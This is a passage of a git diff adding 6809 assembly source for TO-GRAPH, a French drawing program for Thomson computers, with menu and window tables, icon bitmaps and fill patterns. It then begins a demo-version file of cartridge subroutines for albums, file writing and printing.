+       FCB    FLOCA,20,1,1,2  Taille car
+       FCB    FTOURE
+       FCB    FEDI,MOTRAZ,0   Effacement
+       FCB    FLOCA,22,1,1,2
+       FCB    FTOURE
+       FCB    FEDI,MOTRET,0   Précédent
+       FCB    FLOCA,0,0,19,4
+       FCB    FTOURI
+       FCB    FLOCA,19,0,6,4
+       FCB    FTOURI
+
+       FCB    FLOCA,24,6,1,4
+       FCB    FEDI,CSCRG0,CSCRG1,0
+       FCB    FLOCA,24,10,1,2
+       FCB    FEDI,CSCRG2,0
+       FCB    FLOCA,24,12,1,60
+       FCB    FTOURI
+       FCB    FLOCA,24,72,1,2
+       FCB    FEDI,CSCRD0,0
+       FCB    FLOCA,24,74,1,4
+       FCB    FEDI,CSCRD1,CSCRD2,0
+       FCB    FLOCA,1,78,2,2
+       FCB    FEDI,CSCRH0,0
+       FCB    FLOCA,2,78,1,2
+       FCB    FEDI,CSCRH1,0
+       FCB    FLOCA,3,78,1,2
+       FCB    FEDI,CSCRH2,0
+       FCB    FLOCA,4,78,17,2
+       FCB    FTOURI
+       FCB    FLOCA,21,78,1,2
+       FCB    FEDI,CSCRB0,0
+       FCB    FLOCA,22,78,2,2
+       FCB    FEDI,CSCRB1,0
+       FCB    FLOCA,23,78,1,2
+       FCB    FEDI,CSCRB2,0
+
+MENUD  FCB    FLOCA,0,5,1,16
+       FCB    FPOUSS,$90,OFF
+       FCB    FLOCA,0,23,1,12
+       FCB    FPOUSS,$91,OFF
+       FCB    FLOCA,0,37,1,14
+       FCB    FPOUSS,$92,OFF
+       FCB    FLOCA,0,53,1,12
+       FCB    FPOUSS,$93,OFF
+       FCB    FLOCA,0,67,1,12
+       FCB    FPOUSS,$94,OFF
+       FCB    FLOCA,1,1,2,2
+       FCB    FPOUSS,$0F,OFF  (ctrl) O
+       FCB    FLOCA,4,1,2,2
+       FCB    FPOUSS,$10,OFF  (ctrl) P
+       FCB    FLOCA,7,1,1,2
+       FCB    FINV,$12,OFF    (ctrl) R
+       FCB    FLOCA,10,1,1,2
+       FCB    FINV,$13,OFF    (ctrl) S
+       FCB    FLOCA,13,1,2,2
+       FCB    FPOUSS,$14,OFF  (ctrl) T
+       FCB    FLOCA,16,1,2,2
+       FCB    FPOUSS,$15,OFF  (ctrl) U
+       FCB    FLOCA,20,1,1,2
+       FCB    FPOUSS,$05,OFF  (ctrl) E
+       FCB    FLOCA,22,1,1,2
+       FCB    FPOUSS,$11,OFF  (ctrl) Q
+       FCB    FLOCA,24,6,1,4
+       FCB    FPOUSS,BS+$80,OFF
+       FCB    FLOCA,24,10,1,2
+       FCB    FPOUSS,BS,OFF
+       FCB    FLOCA,24,12,1,60
+       FCB    FPOUSS,$80,OFF
+       FCB    FLOCA,24,72,1,2
+       FCB    FPOUSS,HT,OFF
+       FCB    FLOCA,24,74,1,4
+       FCB    FPOUSS,HT+$80,OFF
+       FCB    FLOCA,1,78,2,2
+       FCB    FPOUSS,VT+$80,OFF
+       FCB    FLOCA,3,78,1,2
+       FCB    FPOUSS,VT,OFF
+       FCB    FLOCA,4,78,17,2
+       FCB    FPOUSS,$81,OFF
+       FCB    FLOCA,21,78,1,2
+       FCB    FPOUSS,LF,OFF
+       FCB    FLOCA,22,78,2,2
+       FCB    FPOUSS,LF+$80,OFF
+       FCB    FEDI,ESC,$4C,0
+FENVID FCB    FSTOP
+
+FENTIT FCB    FEDI,ESC,$4F,0       titre
+       FCB    FLOCF,0,0,5,37
+       FCB    FTOURE,FCADRE
+       FCB    FLOCR,2,2,20,20
+       FCB    FEDI,HT,HT
+       FCC    \TO-GRAPH\
+       FCB    ESC,$4C
+       FCC    \HMEL-93V1.7\
+       FCB    0
+       FCB    FSTOP
+
+FFLOUP FCB    FLOCF,0,0,18,18
+       FCB    FTRAME,FTOURI
+       FCB    FLOCR,1,1,16,16
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FSTOP
+
+FENFIC FCB    FLOCF,0,0,16,40
+       FCB    FTOURE,FCADRE,FFOND
+       FCB    FCOMF,FF,ON
+       FCB    FLOCF,1,1,1,29
+       FCB    FPOUSS,$50,OFF
+       FCB    FEDI
+       FCB    ESC,$4E
+       FCC    \Pr\
+       FCB    SS2,$42
+       FCC    \eciserunit\
+       FCB    SS2,$42,$65
+       FCB    0
+       FCB    FLOCF,2,1,1,29
+       FCB    FPOUSS,$49,OFF
+       FCB    FEDI
+       FCC    \Initialiser\
+       FCB    0
+       FCB    FLOCF,3,1,1,29
+       FCB    FPOUSS,$43,OFF
+       FCB    FEDI
+       FCC    \Catalogue\
+       FCB    0
+       FCB    FLOCF,4,1,1,38
+       FCB    FPOUSS,$52,OFF
+       FCB    FEDI
+       FCC    \Renommerfichier\
+       FCB    0
+       FCB    FLOCF,5,1,1,38
+       FCB    FPOUSS,$53,OFF
+       FCB    FEDI
+       FCC    \Supprimerfichier\
+       FCB    0
+       FCB    FLOCF,6,1,1,38
+       FCB    FPOUSS,$44,OFF
+       FCB    FEDI
+       FCC    \Dupliquerfichier\
+       FCB    0
+       FCB    FLOCF,8,1,1,38
+       FCB    FPOUSS,$4C,OFF
+       FCB    FEDI
+       FCC    \Liredessin\
+       FCB    0
+       FCB    FLOCF,9,1,1,38
+       FCB    FPOUSS,$45,OFF
+       FCB    FEDI
+       FCC    \Ecriredessin\
+       FCB    0
+       FCB    FLOCF,11,1,1,38
+       FCB    FPOUSS,$46,OFF
+       FCB    FEDI
+       FCC    \Fichier\
+       FCB    SS2,$2E
+       FCC    \Album\
+       FCB    0
+       FCB    FLOCF,12,1,1,38
+       FCB    FPOUSS,$41,OFF
+       FCB    FEDI
+       FCC    \Album\
+       FCB    SS2,$2E
+       FCC    \Fichier\
+       FCB    0
+       FCB    FLOCF,14,1,1,38
+       FCB    FPOUSS,$51,OFF
+       FCB    FEDI
+       FCC    \Quitter...\
+       FCB    ESC,$4C,0
+       FCB    FLOCF,1,32,2,6
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FCALL
+       FDB    MENUD
+       FCB    FSTOP
+
+FALBUM FCB    FLOCF,0,0,11,32
+       FCB    FTOURE,FCADRE,FFOND
+       FCB    FCOMF,FF,ON
+       FCB    FLOCF,1,1,1,30
+       FCB    FPOUSS,$43,OFF
+       FCB    FEDI,ESC,$4E
+       FCC    \Copier\
+       FCB    SS2,$2E
+       FCC    \Tiroir\
+       FCB    0
+       FCB    FLOCR,2,0,1,30
+       FCB    FPOUSS,$41,OFF
+       FCB    FEDI
+       FCC    \Album\
+       FCB    SS2,$2E
+       FCC    \Ecran\
+       FCB    0
+       FCB    FLOCR,2,0,1,30
+       FCB    FPOUSS,$45,OFF
+       FCB    FEDI
+       FCC    \Ecran\
+       FCB    SS2,$2E
+       FCC    \Album\
+       FCB    0
+       FCB    FLOCR,2,0,1,30
+       FCB    FPOUSS,$56,OFF
+       FCB    FEDI
+       FCC    \Voirliste\
+       FCB    0
+       FCB    FLOCR,2,0,1,30
+       FCB    FPOUSS,$53,OFF
+       FCB    FEDI
+       FCC    \Supprimer\
+       FCB    ESC,$4C,0
+
+       FCB    FCALL
+       FDB    MENUD
+       FCB    FSTOP
+
+FIMPR  FCB    FLOCF,0,0,5,28
+       FCB    FTOURE,FCADRE,FFOND
+       FCB    FCOMF,FF,ON
+       FCB    FLOCF,1,1,1,26
+       FCB    FPOUSS,$45,OFF
+       FCB    FEDI,ESC,$4E
+       FCC    \impr.Ecran\
+       FCB    0
+       FCB    FLOCR,2,0,1,26
+       FCB    FPOUSS,$46,OFF
+       FCB    FEDI
+       FCC    \impr.Feuille\
+       FCB    0
+
+       FCB    FCALL
+       FDB    MENUD
+       FCB    FSTOP
+
+FENOUT FCB    FLOCF,0,0,7,38
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOMF,FF,ON
+
+       FCB    FLOCF,1,2,2,2
+       FCB    FTEXTE
+MPOIN  FCB    $80,$81,$82,$83,0
+       FCB    FEDI,HT,HT,HT,LF,$41,0
+       FCB    FPOUSS,$41,OFF
+       FCB    FLOCR,0,6,2,2
+       FCB    FTEXTE
+MLIGN  FCB    $84,$85,$86,$87,0
+       FCB    FEDI,HT,HT,HT,LF,$42,0
+       FCB    FPOUSS,$42,OFF
+       FCB    FLOCR,0,6,2,2
+       FCB    FTEXTE
+MRECT  FCB    $88,$89,$8A,$8B,0
+       FCB    FEDI,HT,HT,HT,LF,$43,0
+       FCB    FPOUSS,$43,OFF
+       FCB    FLOCR,0,6,2,2
+       FCB    FTEXTE
+MCARR  FCB    $8C,$8D,$8E,$8F,0
+       FCB    FEDI,HT,HT,HT,LF,$44,0
+       FCB    FPOUSS,$44,OFF
+       FCB    FLOCR,0,6,2,2
+       FCB    FTEXTE
+MELLI  FCB    $90,$91,$92,$93,0
+       FCB    FEDI,HT,HT,HT,LF,$45,0
+       FCB    FPOUSS,$45,OFF
+       FCB    FLOCR,0,6,2,2
+       FCB    FTEXTE
+MCERC  FCB    $94,$95,$96,$97,0
+       FCB    FEDI,HT,HT,HT,LF,$46,0
+       FCB    FPOUSS,$46,OFF
+       FCB    FLOCF,4,2,2,2
+       FCB    FTEXTE
+MCARA  FCB    $98,$99,$9A,$9B,0
+       FCB    FEDI,HT,HT,HT,LF,$47,0
+       FCB    FPOUSS,$47,OFF
+       FCB    FLOCR,0,6,2,2
+       FCB    FTEXTE
+MPEIN  FCB    $9C,$9D,$9E,$9F,0
+       FCB    FEDI,HT,HT,HT,LF,$48,0
+       FCB    FPOUSS,$48,OFF
+       FCB    FLOCR,0,6,2,2
+       FCB    FTEXTE
+MGOMM  FCB    $A0,$A1,$A2,$A3,0
+       FCB    FEDI,HT,HT,HT,LF,$49,0
+       FCB    FPOUSS,$49,OFF
+       FCB    FLOCR,0,6,2,2
+       FCB    FTEXTE
+MLOUP  FCB    $A4,$A5,$A6,$A7,0
+       FCB    FEDI,HT,HT,HT,LF,$4A,0
+       FCB    FPOUSS,$4A,OFF
+       FCB    FLOCR,0,6,2,2
+       FCB    FTEXTE
+MCOUC  FCB    $A8,$A9,$AA,$AB,0
+       FCB    FEDI,HT,HT,HT,LF,$4B,0
+       FCB    FPOUSS,$4B,OFF
+       FCB    FLOCR,0,6,2,2
+       FCB    FTEXTE
+MCOLL  FCB    $AC,$AD,$AE,$AF,0
+       FCB    FEDI,HT,HT,HT,LF,$4C,0
+       FCB    FPOUSS,$4C,OFF
+
+       FCB    FCALL
+       FDB    MENUD
+       FCB    FSTOP
+
+FENMOT FCB    FLOCF,0,0,18,19
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOMF,FF,ON
+
+       FCB    FLOCF,1,1,16,8
+       FCB    FTOURE
+       FCB    FLOCR,-2,6,0,0
+       FCB    FDO,8
+       FCB    FLOCR,2,-8,0,0
+       FCB    FDO,4
+       FCB    FLOCR,0,2,2,2
+       FCB    FPOUSS,255,OFF   code déf.
+       FCB    FLOOP
+       FCB    FLOOP
+
+       FCB    FLOCF,1,10,2,2
+       FCB    FTOURE,FINVVD
+       FCB    FPOUSS,200,OFF   plein
+       FCB    FLOCF,4,10,2,2
+       FCB    FTOURE
+       FCB    FPOUSS,201,OFF   vide
+
+       FCB    FLOCF,2,15,2,2
+       FCB    FTOURE,FCADRE
+
+       FCB    FLOCF,5,14,0,0
+       FCB    FEDI
+       FCC    \OK\
+       FCB    BALISE,0
+       FCB    FLOCF,5,17,1,1
+       FCB    FPOUSS,RC,OFF
+       FCB    FLOCF,7,10,0,0
+       FCB    FEDI
+       FCC    \Ranger\
+       FCB    BALISE,0
+       FCB    FLOCF,7,17,1,1
+       FCB    FINV,199,OFF
+
+       FCB    FLOCF,9,10,8,8
+       FCB    FTOURE
+       FCB    FPOUSS,254,INTERD (bidon)
+
+       FCB    FCALL
+       FDB    MENUD
+       FCB    FSTOP
+
+FFCOUC FCB    FLOCF,0,0,7,18
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FCOMF,FF,OFF
+       FCB    FLOCF,1,1,1,16
+       FCB    FEDI,ESC,$4E
+       FCC    \Copier\
+       FCB    0
+       FCB    FPOUSS,$43,OFF
+       FCB    FLOCR,2,0,1,16
+       FCB    FEDI
+       FCC    \Couper\
+       FCB    0
+       FCB    FPOUSS,$03,OFF
+       FCB    FLOCR,2,0,1,16
+       FCB    FEDI
+       FCC    \Inverser\
+       FCB    0
+       FCB    FPOUSS,$49,OFF
+       FCB    FSTOP
+
+
+****************************************
+*  M E S S A G E S                     *
+****************************************
+
+MLIRE  FCB    ESC,$4E
+       FCC    \LIRE\
+       FCB    ESC,$4C,0
+MOUT   FCC    \MEMOIREinsuffisante\
+       FCB    0
+MVFICH FCB    ESC,$4E,HT,SS2,$2E
+       FCC    \FICHIER\
+       FCB    ESC,$4C,0
+MCOMAL FCC    \To-graph\
+       FCB    0
+MLIGN1 FCB    $B0,$B1,$B2,$B3,0
+MLIGN2 FCB    $B4,$B5,$B6,$B7,0
+MLIGN3 FCB    $B8,$B9,$BA,$BB,0
+MCN    FCB    $41,$42,$43,$44,0
+MCDH   FCB    LF,ESC,TCDH,$41,$42
+       FCB    ESC,TCN,0
+MCDL   FCB    ESC,TCDL,$41,$42,ESC,TCN,0
+MCDT   FCB    LF,ESC,TCDT,$41,ESC,TCN,0
+MTIRVI FCC    \TIROIRVIDE!!!\
+       FCB    0
+
+
+****************************************
+*  M O T I F S   D E   R E M P L I S . *
+****************************************
+
+MOTREM FDB    $FFFF,$FFFF,$FFFF,$FFFF
+       FDB    $0000,$0000,$0000,$0000
+       FDB    $DFDF,$00EE,$00F7,$F700
+       FDB    $8488,$5030,$1028,$4782
+       FDB    $2078,$CC84,$87CC,$3030
+       FDB    $FFFF,$AAFF,$8888,$8888
+       FDB    $0880,$2401,$0842,$1042
+       FDB    $0242,$D080,$042B,$9A90
+       FDB    $6C0E,$093C,$7EA9,$A792
+       FDB    $E2F6,$EE4E,$A81F,$BF2E
+       FDB    $5ADA,$5B55,$A56B,$6BAA
+       FDB    $1CC1,$13CE,$007C,$8300
+       FDB    $11AA,$44AA,$11AA,$44AA
+       FDB    $AA55,$AA55,$AA55,$AA55
+       FDB    $A244,$8A11,$A044,$2A11
+       FDB    $1D3C,$9C88,$C5E3,$D188
+       FDB    $BB55,$EE55,$BB55,$EE55
+       FDB    $1010,$7C82,$0101,$C728
+       FDB    $0B0D,$0B0D,$5FAF,$5FAF
+       FDB    $41FE,$EEEE,$EF28,$EFFE
+       FDB    $8080,$8080,$8080,$80FF
+       FDB    $00FF,$00FF,$00FF,$00FF
+       FDB    $AAAA,$AAAA,$AAAA,$AAAA
+       FDB    $0000,$00FF,$0000,$00FF
+       FDB    $8888,$8888,$8888,$8888
+       FDB    $8888,$88FF,$8888,$88FF
+       FDB    $8844,$2211,$8844,$2211
+       FDB    $1122,$4488,$1122,$4488
+       FDB    $DDAA,$DDFF,$DDAA,$DDFF
+       FDB    $1199,$CC44,$44CC,$9911
+       FDB    $663C,$00C3,$663C,$00C3
+       FDB    $3E63,$DDD5,$DD61,$3E1C
+       FDB    $9942,$2499,$9924,$4299
+       FDB    $9966,$6699,$9966,$6699
+
+
+****************************************
+*  C A R A C T E R E S   U T I L I S . *
+****************************************
+
+CARUSR EQU    *
+*      icone points
+       FDB    $8081,$8090,$8080,$403F
+       FDB    $0101,$1501,$0101,$02FC
+       FDB    $3F40,$8080,$8280,$9080
+       FDB    $FC02,$0111,$0101,$4101
+*      icone lignes
+       FDB    $8080,$8080,$8080,$403F
+       FDB    $8141,$4121,$2111,$02FC
+       FDB    $3F40,$8482,$8281,$8180
+       FDB    $FC02,$0101,$0101,$0181
+*      icone rectangles
+       FDB    $9090,$9090,$9F80,$403F
+       FDB    $0909,$0909,$F901,$02FC
+       FDB    $3F40,$809F,$9090,$9090
+       FDB    $FC02,$01F9,$0909,$0909
+*      icone carré
+       FDB    $9090,$9F80,$8080,$403F
+       FDB    $0909,$F901,$0101,$02FC
+       FDB    $3F40,$8080,$809F,$9090
+       FDB    $FC02,$0101,$01F9,$0909
+*      icone ellipse
+       FDB    $9090,$888C,$8380,$403F
+       FDB    $0909,$1131,$C101,$02FC
+       FDB    $3F40,$8083,$8C88,$9090
+       FDB    $FC02,$01C1,$3111,$0909
+*      icone cercle
+       FDB    $9098,$8780,$8080,$403F
+       FDB    $0519,$E101,$0101,$02FC
+       FDB    $3F40,$8080,$8087,$98A0
+       FDB    $FC02,$0101,$01E1,$1905
+*      icone caractères
+       FDB    $A5BD,$A5A5,$A598,$403F
+       FDB    $C929,$2929,$29C7,$C7FC
+       FDB    $3F40,$A5A5,$A5A5,$A5A5
+       FDB    $FC02,$C729,$2929,$2929
+*      icone peinture
+       FDB    $8783,$8387,$8783,$403F
+       FDB    $F9F9,$F9F9,$F1E1,$02FC
+       FDB    $3F40,$8087,$8890,$908F
+       FDB    $FC02,$01E1,$1111,$0909
+*      icone gomme
+       FDB    $8884,$8281,$8080,$403F
+       FDB    $9151,$31F1,$0101,$02FC
+       FDB    $3F40,$8080,$9F91,$919F
+       FDB    $FC02,$0101,$0181,$4121
+*      icone loupe
+       FDB    $8181,$8181,$8181,$403F
+       FDB    $0505,$0505,$05FD,$02FC
+       FDB    $3F40,$8098,$8C86,$8381
+       FDB    $FC02,$0101,$0101,$01FD
+*      icone couper copier
+       FDB    $9197,$8181,$8181,$403F
+       FDB    $81D9,$8181,$8181,$02FC
+       FDB    $3F40,$809B,$8090,$9183
+       FDB    $FC02,$0169,$0901,$89C9
+*      icone coller
+       FDB    $9197,$8181,$8381,$403F
+       FDB    $81D9,$8181,$C181,$02FC
+       FDB    $3F40,$809B,$8090,$9181
+       FDB    $FC02,$0169,$0901,$8989
+*      icone lignes taille 1
+       FDB    $0101,$0101,$0101,$0100
+       FDB    $0000,$0000,$0000,$0000
+       FDB    $0001,$0101,$0101,$017F
+       FDB    $0000,$0000,$0000,$00FE
+*      icone lignes taille 2
+       FDB    $7F01,$0101,$0101,$0100
+       FDB    $FE80,$8080,$8080,$8000
+       FDB    $0001,$0101,$0101,$017F
+       FDB    $0080,$8080,$8080,$80FE
+*      icone lignes taille 3
+       FDB    $7F03,$0303,$0303,$0300
+       FDB    $FE80,$8080,$8080,$8000
+       FDB    $0003,$0303,$0303,$7F7F
+       FDB    $0080,$8080,$8080,$FEFE
+*      motif RAZ visu
+       FDB    $007E,$4242,$4242,$7E00
+*      motif retour
+       FDB    $0042,$2418,$4224,$1800
+*      motif suite
+       FDB    $0018,$2442,$1824,$4200
+*      scroll gauche
+       FDB    $FF80,$9F89,$8482,$80FF
+       FDB    $FF01,$F901,$8141,$01FF
+       FDB    $FF81,$BD91,$8981,$81FF
+*      scroll droit
+       FDB    $FF81,$BD89,$9181,$81FF
+       FDB    $FF80,$9F80,$8182,$80FF
+       FDB    $FF01,$F991,$2141,$01FF
+*      scroll haut
+       FDB    $8DA5,$958D,$8581,$81FF
+       FDB    $FF81,$8185,$8585,$A595
+       FDB    $FF81,$8595,$8D85,$81FF
+*      scroll bas
+       FDB    $FF81,$858D,$9585,$81FF
+       FDB    $95A5,$8585,$8581,$81FF
+       FDB    $FF81,$8185,$8D95,$A58D
+
+* Vecteurs vers icones outils
+*---------------------------------------
+
+TMOUTI FDB    MPOIN
+       FDB    MLIGN
+       FDB    MRECT
+       FDB    MCARR
+       FDB    MELLI
+       FDB    MCERC
+       FDB    MCARA
+       FDB    MPEIN
+       FDB    MGOMM
+       FDB    MLOUP
+       FDB    MCOUC
+       FDB    MCOLL
+
+* Vecteurs vers textes tailles car.
+*---------------------------------------
+
+TMMT   FDB    MCN
+       FDB    MCDH
+       FDB    MCDL
+       FDB    MCDT
+
+* Tortues spécifiques
+*---------------------------------------
+
+TORPT  FCC    \L0D2L128D1L128U4L0D6\
+       FCC    \L128U15L0D6L128U10L64U3\
+       FCC    \L0D3L128U9L0D3\
+LTORPT EQU    *-TORPT
+
+TORST  FCC    \L0D2L0U3L0D2\
+       FCC    \L64U1L0D1L0U3L0D2\
+       FCC    \L64U1L0D1L0U3L0D2\
+       FCC    \L64U1L0D1L0U3L0D1\
+LTORST EQU    *
+
+TORDH  FCC    \L0D2L0U3L0D2\
+       FCC    \L64U1L0D1L0U11L0D2\
+       FCC    \L64U1L0D1L0U3L0D2\
+       FCC    \L64U1L0D1L0U11L0D1\
+LTORDH EQU    *
+
+TORDL  FCC    \L0D2L0U11L0D2\
+       FCC    \L64U1L0D1L0U3L0D2\
+       FCC    \L64U1L0D1L0U11L0D2\
+       FCC    \L64U1L0D1L0U3L0D1\
+LTORDL EQU    *
+
+TORDT  FCC    \L0D2L0U11L0D2\
+       FCC    \L64U1L0D1L0U11L0D2\
+       FCC    \L64U1L0D1L0U11L0D2\
+       FCC    \L64U1L0D1L0U11L0D1\
+LTORDT EQU    *
+
+TABTOR EQU    *       table tortue ASCII
+       FDB    TORST
+       FCB    LTORST-TORST
+       FDB    TORDH
+       FCB    LTORDH-TORDH
+       FDB    TORDL
+       FCB    LTORDL-TORDL
+       FDB    TORDT
+       FCB    LTORDT-TORDT
+
+* Divers
+*---------------------------------------
+
+TBITS  FCB    1,2,4,8,16,32,64,128
+TMASQG FDB    $FF7F,$3F1F,$0F07,$0301
+TMASQD FDB    $80C0,$E0F0,$F8FC,$FEFF
+ASCCOE FCC    \1.6396\  coeff.
+       FCB    0         point écran ->
+*                       point imprimante
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-D1.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-D1.ASM
new file mode 100644
index 0000000..8bac3d8
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-D1.ASM
@@ -0,0 +1,1117 @@
+       TITLE  TO-GRAPH: S/P CARTOUCHE
+*      ------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-GRAPH                   *
+*                                      *
+*    S/P cartouche                     *
+*                                      *
+*       ATTENTION   version demo !!!   *
+*                                      *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P recherche d'un album dans table
+*         (création si inexistant)
+* Entrée: X   pt nom album
+* Sortie: CY  1  pas de place
+*             0  ok
+*         X   pt dans table si ok
+*=======================================
+
+XCHALB PSHS   D,Y,U
+       LEAS   -1,S
+ALBC   SET    0
+PD     SET    1
+*---------------------------------------
+
+       LBSR   XPTALB
+       BCC    CHALBF    trouvé ->
+
+       TST    MAXALB
+       BEQ    CHALBR    pas de place ->
+       LDU    #TABALB
+       CLR    ALBC,S
+CHAL1  TST    8,U
+       BMI    CHAVID    poste vide ->
+       INC    ALBC,S
+       LDA    ALBC,S
+       CMPA   MAXALB
+       BGE    CHALBR    pas de place ->
+       LEAU   9,U
+       BRA    CHAL1     ->
+
+CHAVID LDA    #8
+CHAVI0 LDB    ,X+
+       STB    ,U+
+       DECA
+       BNE    CHAVI0    ->
+       NEG    ,U        marque occupé
+       LEAX   -8,U
+       INC    NBALB
+CHALBF ANDCC  #$FE
+       LEAS   1,S
+       PULS   D,Y,U,PC   ->>
+CHALBR LDB    #7        'out of memory'
+       JSR    DOSERR
+       ORCC   #$01
+       LEAS   1,S
+       PULS   D,Y,U,PC   ->>
+
+
+*=======================================
+* S/P saisie d'un album
+*
+* Entrée: A,B coordonnées fenêtre
+*         X   Pt  recepteur nom
+* Sortie: CY  1  Raz
+*             0  ok
+*        (X)  zone nom rendu
+*=======================================
+
+FCZIAL FCB    FLOCF,0,0,11,26
+       FCB    FTRAME,FTOURI
+       FCB    FLOCF,1,1,5,24
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,7,1,3,24
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,2,3,1,24
+       FCB    FEDI
+       FCC    \Nomdel'album:\
+       FCB    0
+       FCB    FLOCF,4,16,1,8
+       FCB    FTOURE
+       FCB    FCZI,255,TEXTE
+
+       FCB    FLOCF,8,3,1,24
+       FCB    FEDI
+       FCC    \OK\
+       FCB    BALISE
+       FCC    \Annuler\
+       FCB    BALISE,0
+       FCB    FLOCF,8,6,1,1
+       FCB    FPOUSS,RC,OFF
+       FCB    FLOCF,8,22,1,1
+       FCB    FPOUSS,FF,OFF
+       FCB    FSTOP
+
+*---------------------------------------
+XCZIAL PSHS   D,X,Y,U
+       LEAS   -9,S
+BUF1   SET    0
+PD     SET    9
+PX     SET    11
+*---------------------------------------
+
+       LEAX   FCZIAL,PCR
+       JSR    FENOUV
+
+       JSR    FENACT    sélection
+CZIAL1 JSR    FEN
+       TSTB
+       BEQ    CZIAL1    ->
+       CMPB   #FF
+       BEQ    CZIALR    raz ->
+       CMPB   #RC
+       BEQ    CZIALO    RC  ->
+       BRA    CZIAL1    ->
+
+CZIALO LDX    PX,S      résultat
+       LDB    #8
+       LDA    #SP
+CZIAO0 STA    ,X+
+       DECB
+       BNE    CZIAO0    ->
+       LEAX   BUF1,S
+       LDB    #255
+       JSR    FENLCZ
+       LEAX   BUF1,S
+       LDY    PX,S
+CZIAO1 LDA    ,X+
+       BEQ    CZIAO2    ->
+       STA    ,Y+
+       BRA    CZIAO1    ->
+
+CZIAO2 CLRB
+       JSR    FENFER
+       JSR    FENACT
+       ANDCC  #$FE
+       LEAS   9,S
+       PULS   D,X,Y,U,PC ->>
+CZIALR CLRB
+       JSR    FENFER
+       JSR    FENACT
+       ORCC   #$01
+       LEAS   9,S
+       PULS   D,X,Y,U,PC ->>
+
+
+*=======================================
+* S/P raz d'une rectangulaire au point
+*
+* Entrée: XT0,YT0 coord. début
+*         XT1,YT1 coord. fin
+*=======================================
+
+XCLRTI LDA    #$FF
+       STA    FILFLG
+       LDD    #PLEIN
+       STD    MACP
+       LDU    #TRRAZ
+       LBSR   COMBK1
+       LDX    <XT0
+       STX    XXXXXX
+       CLRA
+       LDB    <YT0
+       STD    YYYYYY
+       LDX    <XT1
+       CLRA
+       LDB    <YT1
+       TFR    D,Y
+       LDB    #BOX
+       JSR    EXTRA
+       LDU    #TRNORM
+       LBSR   COMBK1
+       RTS
+
+
+*=======================================
+* S/P ecriture sur fichier
+*
+* Entrée: A  car. à ecrire
+* Sortie: CY 0 si ok
+*            1 si erreur (fichier sera
+*                         fermé !)
+*=======================================
+
+XECRFI PSHS   B
+*---------------------------------------
+       LDB    #PRINT
+       JSR    EXTRA
+       TSTB
+       BNE    ECFIR     erreur ->
+       ANDCC  #$FE
+       PULS   B,PC      ->>
+
+ECFIR  PSHS   B
+       LDB    #CLOSE    # erreur PRINT
+       JSR    EXTRA
+       PULS   B
+       JSR    DOSERR
+       ORCC   #$1
+       PULS   B,PC      ->>
+
+
+*=======================================
+* S/P impression d'un fragment de page
+*     limité par CADRNG-CADCOL
+*                CADHAU-CADLAR
+* Entrée  B interrupteur pleine page
+*=======================================
+
+FFDEMO FCB    FLOCF,0,0,10,56
+       FCB    FFOND,FTOURE,FCADRE
+
+       FCB    FLOCF,1,2,1,56
+       FCB    FEDI
+       FCC    \Distribution:\
+       FCB    0
+       FCB    FLOCF,3,6,1,56
+       FCB    FEDI,ESC,$4E
+       FCC    \A.S.C.I.\
+       FCB    0
+       FCB    FLOCR,2,0,1,56
+       FCB    FEDI
+       FCC    \365ChemindesMontants\
+       FCB    0
+       FCB    FLOCR,2,0,1,56
+       FCB    FEDI
+       FCC    \54690EULMONT\
+       FCB    ESC,$4C,0
+       FCB    FSTOP
+
+FFCIMP FCB    FLOCF,0,0,11,21
+       FCB    FTRAME,FTOURI
+
+       FCB    FLOCF,1,1,5,19
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,2,3,1,19
+       FCB    FEDI
+       FCC    \ImprimanteOK?\
+       FCB    0
+       FCB    FLOCF,4,3,1,19
+       FCB    FEDI
+       FCC    \DoublePasse\
+       FCB    BALISE,0
+       FCB    FLOCF,4,17,1,1
+       FCB    FINV,$44,OFF
+
+       FCB    FLOCF,7,1,3,19
+       FCB    FFOND,FTOURE,FCADRE
+       FCB    FLOCF,8,3,1,19
+       FCB    FEDI
+       FCC    \OK\
+       FCB    BALISE
+       FCC    \Annuler\
+       FCB    BALISE,0
+       FCB    FLOCF,8,6,1,1
+       FCB    FPOUSS,RC,OFF
+       FCB    FLOCF,8,17,1,1
+       FCB    FPOUSS,FF,OFF
+       FCB    FSTOP
+
+*---------------------------------------
+XIMPPA PSHS   B
+       LEAS   -963,S
+FLGPAS SET    0
+MEMBK  SET    1
+DBK    SET    2
+BUFFER SET    3
+PB     SET    963
+*---------------------------------------
+       LDA    BANKC
+       STA    MEMBK,S
+
+       LDD    #$0633
+       LEAX   FFCIMP,PCR
+       JSR    FENOUV
+
+* Sélection opérateur
+
+IMPC0  JSR    FENACT    sélection
+IMPC1  JSR    FEN
+       TSTB
+       BEQ    IMPC1     ->
+       CMPB   #FF
+       LBEQ   IMPCRZ    raz ->
+       CMPB   #RC
+       BEQ    IMPCOK    RC  ->
+       BRA    IMPC1
+
+IMPCOK JSR    FENDES
+       JSR    FENCH
+       JSR    FENIVD
+
+* V E R S I O N   D E M O ! ! ! ! ! !
+
+       LEAX   FFDEMO,PCR
+       LDD    #$0711
+       JSR    FENOUV
+       JSR    FENACT
+BFDEM  JSR    FEN
+       TSTB
+       BNE    BFDEMF    ->
+       JSR    LPIN
+       BCS    BFDEMF    ->
+       BEQ    BFDEMF    ->
+       BRA    BFDEM     ->
+BFDEMF CLRB
+       JSR    FENFER
+
+IMPCRZ LDA    MEMBK,S
+       STA    BANKC
+       LEAS   963,S
+       CLRB
+       JSR    FENFER
+       PULS   B,PC
+
+
+*=======================================
+* S/P impression d'une ligne graphique
+*
+* Entrée X  pt buffer
+*           8 seg. 1er  car
+*           8 seg. 2eme car
+*           ...
+*        A  0 en simple passage
+*          #0 en double passage
+*        B  nb car.
+*=======================================
+
+XIMPLI PSHS   D,X,Y,U
